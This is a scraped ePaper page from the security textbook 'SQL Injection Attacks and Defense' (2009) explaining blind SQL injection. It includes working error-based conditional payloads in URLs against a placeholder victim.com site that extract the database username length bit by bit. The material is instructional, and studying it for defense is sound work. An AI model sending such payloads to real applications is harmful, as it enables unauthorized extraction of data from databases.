28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 163<br />

Depending on whether the current user is sa or not, the argument of char( ) will be 109<br />

or 108, respectively, returning therefore m or l. In the former case, the string resulting from<br />

the first concatenation will be acme, whereas in the second it will be acle. Therefore, if the<br />

user is sa the last URL is equivalent to the following:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=acme<br />

Otherwise, the URL will be equivalent to the following:<br />

http://www.victim.com/search.asp?br<strong>and</strong>=acle<br />

Because the two pages return different results, here we have a safe method for extracting<br />

data using conditional statements for string parameters as well.<br />

Extending the Attack<br />

The examples we’ve covered so far are focused on retrieving pieces of information that can<br />

have only two possible values—for example, whether the user is the database administrator<br />

or not. However, you can easily extend this technique to arbitrary data. Obviously, because<br />

conditional statements by definition can retrieve only one bit of information (as they can<br />

infer only whether a condition is true or false), you will need as many connections as the<br />

number of bits composing the data in which you are interested. As an example let’s return to<br />

the user who performs the queries. Instead of limiting ourselves to check whether the user is<br />

sa, let’s retrieve the user’s whole name. The first thing to do is to discover the length of the<br />

username. You can do that using the following query:<br />

select len(system_user)<br />

Assuming that the username is appdbuser, this query will return the value 9. To extract<br />

this value using conditional statements, you need to perform a binary search. Assuming that<br />

you use the error-based method that was illustrated a few pages ago, the following URLs<br />

will be sent:<br />

http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+<br />

then+1+else+0+end)<br />

Because our username is longer than 8 characters, this URL will not generate an error.<br />

We continue with our binary search with the following queries:<br />

http://www.victim.com/products.asp?id=12/(case+when+(len(system_user)+>+16)+<br />

then+1+else+0+end) ---> Error<br />

http://www.victim.com/products.asp?id=12/(case+when+(len(system_user)+>+12)+<br />

then+1+else+0+end) ---> Error<br />

http://www.victim.com/products.asp?id=12/(case+when+(len(system_user)+>+10)+<br />

then+1+else+0+end) ---> Error<br />

http://www.victim.com/products.asp?id=12/(case+when+(len(system_user)+>+9)+<br />

then+1+else+0+end) ---> Error

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!